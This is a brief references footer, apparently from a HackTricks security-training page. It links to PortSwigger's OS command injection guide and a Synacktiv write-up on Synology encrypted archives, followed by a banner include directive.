- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
{{#include ../banners/hacktricks-training.md}}